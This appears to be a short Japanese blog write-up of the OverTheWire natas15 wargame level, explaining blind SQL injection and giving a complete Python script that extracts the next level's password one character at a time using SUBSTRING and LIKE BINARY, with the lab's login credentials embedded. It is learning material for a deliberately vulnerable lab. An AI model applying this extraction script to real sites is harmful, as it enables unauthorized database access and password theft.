CTF、over the wireのnatas15

ユーザー名を入れて送信すると、そのユーザーが存在するかしないかを教えてくれる。

ソースコードを見ると、送信したユーザ名はSQLクエリにサニタイジングも何もなしで連結されているので、SQLインジェクションし放題。
しかし、インジェクションした結果を表示する仕組みが無い。(ユーザーが既に存在するかをYES/NOの二択でしかわからない)

このような時でも使えるのがブラインドSQLインジェクション。

知りたい情報を、1文字(または1ビットとか)ずつ調べて行く。

import urllib
import sys
import urllib.request, urllib.parse
import base64

urlText = "http://natas15.natas.labs.overthewire.org/index.php"

user = "natas15"
password = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"

ansPass = ""

characterSet = [chr(i) for i in range(65,65+26)]
characterSet.extend([chr(i) for i in range(97,97+26)])
characterSet.extend([str(i) for i in range(0,10)])

#VARCHARが64文字まで(らしい)
for ind in range(1, 65):
    isFound = False
    #0-9, a-z, A-Zを試す。
    for ch in characterSet:
        query = 'natas16" AND SUBSTRING(password, ' + str(ind) + ', 1) LIKE BINARY "' +ch
        encoded_post_data = urllib.parse.urlencode({"username":query}).encode("utf-8")

        basic_user_and_pasword = base64.b64encode((user +":"+password).encode('utf-8'))

        req = urllib.request.Request(urlText, headers={"Authorization": "Basic " + basic_user_and_pasword.decode('utf-8')}, data=encoded_post_data)

        with urllib.request.urlopen(req) as res:
            html = res.read().decode("utf-8")
            #YESならパスワードのind文字目はchだったということになる
            if "This user exists" in html:
                ansPass += ch
                isFound = True
                print("HIT:"+str(ind) +":"+ch)
    #どんな文字に対してもNOを返すときは、こんなにパスワードは長くなかったいうことで調査を打ち切る。
    if not isFound:
        break

print(ansPass)

遠い海外にある標的サーバだからか大変待たされる。30分くらいかかったかな…。

コメント